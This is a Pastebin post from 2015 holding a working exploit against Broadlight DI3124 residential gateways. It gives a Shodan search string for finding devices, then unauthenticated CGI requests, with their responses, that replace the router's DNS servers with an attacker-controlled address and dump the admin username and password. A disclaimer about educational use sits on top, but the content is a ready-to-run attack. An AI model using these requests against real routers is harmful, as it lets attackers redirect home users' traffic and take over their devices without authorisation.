Advertisement
hackerscommunity

Broadlight Gateway DI3124 remote unauth dns change exploit

Jul 14th, 2015
457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.85 KB | None | 0 0
  1. #Broadlight Residential Gateway DI3124
  2. #  Unauthenticated Remote DNS Change
  3. #
  4. #  Copyright 2015 (c) Todor Donev
  5. #  <todor.donev at gmail.com>
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #
  9. #  No description for morons,
  10. #  script kiddies & noobs !!
  11. #
  12. #  Disclaimer:
  13. #  This or previous programs is for Educational
  14. #  purpose ONLY. Do not use it without permission.
  15. #  The usual disclaimer applies, especially the
  16. #  fact that Todor Donev is not liable for any
  17. #  damages caused by direct or indirect use of the
  18. #  information or functionality provided by these
  19. #  programs. The author or any Internet provider
  20. #  bears NO responsibility for content or misuse
  21. #  of these programs or any derivatives thereof.
  22. #  By using these programs you accept the fact
  23. #  that any damage (dataloss, system crash,
  24. #  system compromise, etc.) caused by the use
  25. #  of these programs is not Todor Donev's
  26. #  responsibility.
  27. #  
  28. #  Use them at your own risk!
  29. #
  30. #  ShodanHQ Dork:
  31. #  Server: thttpd/2.25b 29dec2003 Content-Length: 348414
  32.  
  33.  
  34. [todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getdns.cgi?"
  35. {"success":true,"totalCount":2,"rows":[{"domain":"googleDNS1","serverip":"8.8.8.8","type":"manual"},
  36. {"domain":"googleDNS2","serverip":"8.8.4.4","type":"manual"}]}
  37.  
  38. [todor@adamantium ~]$ GET "http://TARGET/cgi-bin/savedns.cgi?domainname=evilDNS&domainserverip=133.71.33.7"
  39. {success:true,errormsg:"Operation Succeeded"}
  40.  
  41. [todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.8.8"
  42. {success:true,errormsg:"Operation Succeeded"}
  43.  
  44. [todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.4.4"
  45. {success:true,errormsg:"Operation Succeeded"}
  46.  
  47. [todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getconf.cgi" | egrep '(username|password)'
  48. <username>admin</username>
  49. <password>admin</password>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement